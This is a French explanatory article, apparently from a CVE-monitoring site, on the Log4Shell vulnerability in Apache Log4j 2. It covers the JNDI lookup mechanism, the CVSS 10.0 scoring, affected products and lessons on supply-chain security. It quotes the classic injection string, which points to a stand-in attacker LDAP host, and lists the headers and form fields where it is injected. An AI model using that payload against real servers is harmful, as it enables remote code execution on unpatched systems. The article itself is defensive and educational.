Log4Shell (CVE-2021-44228) : anatomie de la faille qui a ébranlé internet

Décembre 2021. Une vulnérabilité dans une bibliothèque Java de logging est rendue publique un vendredi soir. En moins de 72 heures, elle est exploitée par des centaines de groupes d'attaquants à travers le monde. Log4Shell entre dans l'histoire.

La bibliothèque en cause : Apache Log4j 2

Log4j 2 est une bibliothèque de logging pour Java, développée par la fondation Apache. Utilisée dans des millions d'applications — serveurs Minecraft, applications d'entreprise, services cloud Amazon, Apple, Twitter, Cloudflare — son empreinte est massive.

La fonctionnalité en cause : le message lookup substitution. Log4j 2 permettait d'interpoler des expressions dans les messages loggués, notamment des appels JNDI (Java Naming and Directory Interface).

Le vecteur d'attaque

Si une application Java logguait une entrée utilisateur contenant la chaîne :

${jndi:ldap://attaquant.com/exploit}

Log4j 2 effectuait automatiquement une requête LDAP vers attaquant.com, récupérait et exécutait la charge malveillante retournée. Aucune authentification requise. Aucune interaction utilisateur nécessaire.

Partout où une entrée utilisateur pouvait se retrouver dans un log — champ de formulaire, user-agent, header HTTP, nom d'utilisateur — la surface d'attaque était présente.

Score CVSS 10.0 — Le maximum absolu

CVSS 3.1: 10.0 (CRITICAL)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

• AV:N — Exploitable depuis internet
• AC:L — Aucune condition particulière
• PR:N — Aucun privilège requis
• UI:N — Aucune interaction de l'utilisateur
• S:C — Scope Changed (peut compromettre d'autres composants)
• C:H / I:H / A:H — Impact total

Score parfait de 10.0. L'exemple archétypal d'une CVE catastrophique.

L'exploitation en pratique

Dans les heures suivant la divulgation publique, des scanners automatiques cherchaient des applications vulnérables en injectant des payloads dans :

• Le champ User-Agent des requêtes HTTP
• Les headers X-Forwarded-For, Referer
• Les champs de recherche, formulaires de login
• Les noms d'utilisateurs, adresses email

Les premières charges observées incluaient :

• Installation de cryptomineurs (Monero)
• Déploiement de botnets (Mirai)
• Accès persistant pour des groupes APT étatiques
• Ransomwares (Conti, Khonsari)

Qui était vulnérable ?

Log4j 2 versions 2.0-beta9 à 2.14.1 (toutes).

La liste des applications affectées était vertigineuse :

• VMware vCenter — infrastructure critique des datacenters
• Cisco — nombreux produits (Webex, ASA, etc.)
• IBM — WebSphere, Db2
• Minecraft (Java Edition) — vecteur de diffusion massive
• ElasticSearch, Kafka, Spark — stack Big Data
• Des milliers d'applications SaaS et internes

La réponse Apache

Quatre versions en trois semaines. La complexité de la correction reflète la profondeur du problème.

Les leçons durables

1. La supply chain est une surface d'attaque

Log4Shell a révélé que la sécurité d'une organisation dépend de l'ensemble de ses dépendances transitives — y compris les bibliothèques utilisées par ses fournisseurs. La notion de SBOM (Software Bill of Materials) est devenue une priorité réglementaire post-Log4Shell.

2. La détection est difficile

L'exploitation laissait peu de traces et pouvait se faire via des vecteurs inattendus (logs d'accès WAF, messages de chat loggués, etc.). Des organisations ont découvert des compromissions des semaines après l'exploitation initiale.

3. Le patching d'urgence a ses limites

Face à une faille aussi répandue, même les organisations disposant de bons processus de patch management ont mis des semaines à identifier et corriger toutes les instances vulnérables — notamment dans les dépendances transitives.

En 2024-2025 : toujours dans le top des CVE exploitées

Selon la CISA, Log4Shell figure encore parmi les vulnérabilités les plus exploitées plusieurs années après sa découverte. Des applications non patchées restent exposées dans de nombreuses organisations.

Vérifiez si vos équipements sont concernés par des CVE critiques sur cveo.tech.